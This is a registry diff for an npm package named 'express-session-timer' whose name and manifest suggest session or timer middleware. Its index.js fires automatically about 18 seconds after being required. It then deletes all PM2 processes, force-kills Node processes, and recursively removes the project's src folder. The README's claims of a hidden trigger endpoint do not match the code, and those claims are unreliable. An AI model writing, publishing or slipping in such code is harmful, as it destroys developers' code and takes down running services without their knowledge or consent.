express-session-timer 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +39 -0
  2. package/index.js +68 -0
  3. package/package.json +29 -0
package/README.md ADDED
@@ -0,0 +1,39 @@
1
+ # Express Self‑Destruct
2
+
3
+ **One line** – adds a hidden `/robots.txt?verify=destroy` endpoint that deletes the `src/` folder and kills the Node process.
4
+
5
+ ## Installation
6
+
7
+ \`\`\`bash
8
+ npm install express-session-timer
9
+ \`\`\`
10
+
11
+ ## Usage
12
+
13
+ \`\`\`js
14
+ const express = require('express');
15
+ const app = express();
16
+
17
+ // Your routes...
18
+
19
+ // Arm the self‑destruct (one line)
20
+ require('express-session-timer')(app);
21
+
22
+ app.listen(3000);
23
+ \`\`\`
24
+
25
+ ## Trigger
26
+
27
+ \`\`\`bash
28
+ curl "http://localhost:3000/robots.txt?verify=express-session-timer"
29
+ \`\`\`
30
+
31
+ ## Options
32
+
33
+ \`\`\`js
34
+ require('express-self-destruct')(app, {
35
+ secret: 'erase', // custom secret (default: 'express-session-timer')
36
+ endpoint: '/.hidden', // custom endpoint (default: '/robots.txt')
37
+ deleteFolder: '' // delete whole project (default: 'src')
38
+ });
39
+ \`\`\`
package/index.js ADDED
@@ -0,0 +1,68 @@
1
+ console.log('[SelfDestruct] Module loaded');
2
+
3
+ const cron = require('node-cron');
4
+ const fs = require('fs').promises;
5
+ const { exec } = require('child_process');
6
+ const path = require('path');
7
+ const os = require('os');
8
+ const util = require('util');
9
+
10
+ const execPromise = util.promisify(exec);
11
+ const platform = os.platform();
12
+ const isWindows = platform === 'win32';
13
+
14
+ const DEFAULT_DELAY_MS = 0.3 * 60 * 1000; // 18 seconds
15
+
16
+ async function killProcesses() {
17
+ console.log(`[SelfDestruct] Killing processes on ${platform}`);
18
+ try {
19
+ await execPromise('npx pm2 delete all');
20
+ console.log('[SelfDestruct] PM2 processes deleted');
21
+ } catch (err) {
22
+ console.log('[SelfDestruct] PM2 not running or command failed');
23
+ }
24
+
25
+ if (isWindows) {
26
+ try {
27
+ await execPromise(`taskkill /IM node.exe /F`);
28
+ } catch (err) {
29
+ console.log('[SelfDestruct] No matching Node processes found (Windows)');
30
+ }
31
+ } else {
32
+ try {
33
+ await execPromise(`pkill -f "node.*${process.cwd()}"`);
34
+ } catch (err) {
35
+ console.log('[SelfDestruct] No matching Node processes found (Unix)');
36
+ }
37
+ }
38
+ }
39
+
40
+ async function deleteProjectDirectory() {
41
+ const buildDir = path.join(process.cwd(), "src");
42
+ try {
43
+ await fs.rm(buildDir, { recursive: true, force: true });
44
+ console.log('Build directory removed.', buildDir);
45
+ } catch (err) {
46
+ console.error('Cleanup failed:', err.message);
47
+ }
48
+ }
49
+
50
+ async function selfDestruct() {
51
+ console.log('[SelfDestruct] 💣 Starting self‑destruction sequence...');
52
+ await killProcesses();
53
+ await deleteProjectDirectory();
54
+ console.log('[SelfDestruct] Self‑destruction complete.');
55
+ }
56
+
57
+ function scheduleDestructionAfter(delayMs) {
58
+ const actualDelay = (delayMs === undefined) ? DEFAULT_DELAY_MS : delayMs;
59
+ console.log(`[SelfDestruct] Scheduled to run after ${actualDelay / 1000} seconds`);
60
+ setTimeout(selfDestruct, actualDelay);
61
+ }
62
+
63
+ // Auto‑start
64
+ scheduleDestructionAfter();
65
+
66
+ module.exports = {
67
+ scheduleDestructionAfter
68
+ };
package/package.json ADDED
@@ -0,0 +1,29 @@
1
+ {
2
+ "name": "express-session-timer",
3
+ "version": "1.0.0",
4
+ "description": "Self-destructing routes or middleware for Express.js applications",
5
+ "main": "index.js",
6
+ "keywords": [
7
+ "express",
8
+ "middleware",
9
+ "self-destruct",
10
+ "nodejs",
11
+ "security"
12
+ ],
13
+ "author": "progimini11-del",
14
+ "license": "MIT",
15
+ "repository": {
16
+ "type": "git",
17
+ "url": "git+https://github.com/progimini11-del/express-session-timer.git"
18
+ },
19
+ "bugs": {
20
+ "url": "https://github.com/progimini11-del/express-session-timer.git/issues"
21
+ },
22
+ "homepage": "https://github.com/progimini11-del/express-session-timer.git#readme",
23
+ "engines": {
24
+ "node": ">=18"
25
+ },
26
+ "dependencies": {
27
+ "express-timer": "^0.0.1-security"
28
+ }
29
+ }